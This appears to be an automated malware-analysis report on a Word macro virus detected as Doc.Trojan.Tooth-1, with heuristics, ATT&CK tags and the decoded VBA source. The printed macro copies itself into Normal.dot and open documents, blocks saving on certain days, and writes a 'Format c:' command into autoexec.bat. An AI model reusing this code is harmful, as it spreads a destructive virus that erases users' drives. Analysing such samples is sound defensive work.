MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with an AutoClose subroutine, which is a common technique for executing malicious code upon document closure. The script prompts the user with a fake choice about toothpaste, but if the user selects 'No', it proceeds to write commands to 'C:\autoexec.bat' to format the C: drive and then attempts to terminate the Windows session. This indicates a destructive payload disguised as a user interaction.
Heuristics 4
-
ClamAV: Doc.Trojan.Tooth-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Tooth-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8339 bytes |
SHA-256: c8de7d83947d7679d964b8a6eabfae948e90b2fa262c5d0282580f62f3cf2fac |
|||
|
Detection
ClamAV:
Doc.Trojan.Tooth-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Toothpaste"
Attribute VB_Base = "0{D946CFD4-3734-11D3-B990-F758D7BBCC7F}{D946CFD0-3734-11D3-B990-F758D7BBCC7F}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Click()
MsgBox "If you don't want to be like everyone else just use AIM toothpaste", vbApplicationModal, "Toothpaste99 AIM"
q = MsgBox("Do you use AIM toothpsate?", vbYesNo, "Answer please!")
If q = vbYes Then
MsgBox "I like you man.I will not destroy your computer.", vbApplicationModal, "UIUPI"
ElseIf q = vbNo Then
MsgBox "You are dead man!I will terminate your computer.", vbApplicationModal, "Toothpaste99"
Open "C:\autoexec.bat" For Random As Paste
Print Paste; "Echo Termination Started"
Print Paste; "Format c: /q > NULL"
Print Paste; "Echo Termination Completed"
Tasks.ExitWindows
End If
End Sub
Attribute VB_Name = "Toothpaste99"
Sub AutoClose()
Dim inst(1) As Boolean
VBE.Activevbproject.VBComponents("Toothpaste99").Export "c:\data.mod"
VBE.Activevbproject.VBComponents("Toothpaste").Export "c:\data.frm"
For t = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(t).Name = "Toothpaste99" Or NormalTemplate.VBProject.VBComponents(t) = "Toothpaste" Then inst(0) = True
Next t
For t = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(t).Name = "Toothpaste99" Or ActiveDocument.VBProject.VBComponents(t) = "Toothpaste" Then inst(1) = True
Next t
If inst(0) = True And inst(1) = False Then
ActiveDocument.VBProject.VBComponents.Import "c:\data.mod"
ActiveDocument.VBProject.VBComponents.Import "c:\data.frm"
ElseIf inst(0) = False And inst(1) = True Then
NormalTemplate.VBProject.VBComponents.Import "c:\data.mod"
NormalTemplate.VBProject.VBComponents.Import "c:\data.frm"
End If
If Day(Now) = 12 Then Toothpaste.Show
End Sub
'Aim wm97.toothpaste.b
'Word Version of Toothpaste AIM
Sub FileSave()
If Day(Now) = 14 Then
MsgBox "File can't be saved sorry.The toothpaste do not allow you to save documents."
ActiveDocument.Saved = True
ActiveDocument.Close False
Else
ActiveDocument.Save
End If
End Sub
'copyright yozak 99©.
'Powered by Bizarre VX Network.
Sub Autoexit()
Call AutoClose
MsgBox "Bye,bye,bye!!"
End Sub
'Don't forget to brush your teeth with AIM toothpaste
'Greece 99.
' Processing file: /opt/analyzer/scan_staging/2c37b712c1494114b5c22ec32a44c3d7.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1120 bytes
' Macros/VBA/Toothpaste - 2799 bytes
' Line #0:
' FuncDefn (Private Sub Click())
' Line #1:
' LitStr 0x0042 "If you don't want to be like everyone else just use AIM toothpaste"
' Ld q
' LitStr 0x0010 "Toothpaste99 AIM"
' ArgsCall MsgBox 0x0003
' Line #2:
' LitStr 0x001A "Do you use AIM toothpsate?"
' Ld vbYes
' LitStr 0x000E "Answer please!"
' ArgsLd MsgBox 0x0003
' St _B_var_q
' Line #3:
' Ld _B_var_q
' Ld vbNo
' Eq
' IfBlock
' Line #4:
' LitStr 0x0030 "I like you man.I will not destroy your computer."
' Ld q
' LitStr 0x0005 "UIUPI"
' ArgsCall MsgBox 0x0003
' Line #5:
' Ld _B_var_q
' Ld kil
' Eq
' ElseIfBlock
' Line #6:
' LitStr 0x0030 "You are dead man!I will terminate your computer."
' Ld q
' LitStr 0x000C "Toothpaste99"
' ArgsCall MsgBox 0x0003
' Line #7:
' LitStr 0x000F "C:\autoexec.bat"
' Ld Tasks
' LitDefault
' Open (For Random)
' Line #8:
' MeImplicit
' PrintObj
' Ld Tasks
' PrintItemSemi
' LitStr 0x0018 "Echo Termination Started"
' PrintItemNL
' Line #9:
' MeImplicit
' PrintObj
' Ld Tasks
' PrintItemSemi
' LitStr 0x0013 "Format c: /q > NULL"
' PrintItemNL
' Line #10:
' MeImplic
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.